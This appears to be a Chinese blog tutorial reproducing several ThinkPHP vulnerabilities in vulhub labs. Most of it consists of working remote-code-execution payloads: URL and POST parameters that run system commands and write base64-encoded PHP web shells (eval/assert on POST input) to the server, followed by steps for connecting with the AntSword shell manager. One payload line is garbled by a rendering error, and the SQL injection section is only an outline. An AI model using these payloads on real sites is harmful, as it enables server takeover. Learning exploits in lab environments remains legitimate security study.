0x00 前言
今天来学习一下thinkphp组合拳漏洞复现
--学如逆水行舟,不进则退
0x01 Thinkphp 2-RCE
漏洞简介:
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
影响版本:Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)
开始复现:
1.在vulhub中启动环境(此处省略),出现以下图片说明搭建成功
2.构造payload验证漏洞是否存在(在url处拼接即可)
?s=/index/index/name/$%7B@phpinfo()%7D
3.证明漏洞存在后,构造payload进行一句话木马写入(在url处拼接即可)
?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}
4.使用蚁剑连接(连接地址为:http://ip:8080/?s=/index/index/L/${@print(eval($_POST[1]))})
0x02 Thinkphp 5-RCE
漏洞简介:
由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞
1.环境搭建(此处省略),出现以下图片说明搭建成功
2.构造payload,查看漏洞是否存在,是否可以执行 (url处拼接即可)
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
3. 修改payload,尝试写入一句话木马getshell (url处拼接即可) base64加密
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n MTIzPD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4xMjM= | base64 -d > shell.php
4.使用蚁剑进行连接
注意:由于写入是base64加密,所以蚁剑连接时候,编码器和解码器要选择base64
0x03 Thinkphp 5.0.23-RCE
漏洞简介:由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。
1.环境搭建(此处省略),出现下图,搭建成功
2.使用bp抓包,将请求方式改为post,构造payload进行攻击 (图中标记地方均要注意)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
3.尝试写入一句话木马getshell(base64加密)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4= | base64 -d >123.php
4.使用蚁剑进行连接
0x04 Thinkphp in-sqlinjection
漏洞简介:在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
影响版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
1.环境搭建,此处省略,同样在vulhub中搭建即可
2.构造payload爆出用户名和密码
3.利用错误回显敏感信息,获取用户信息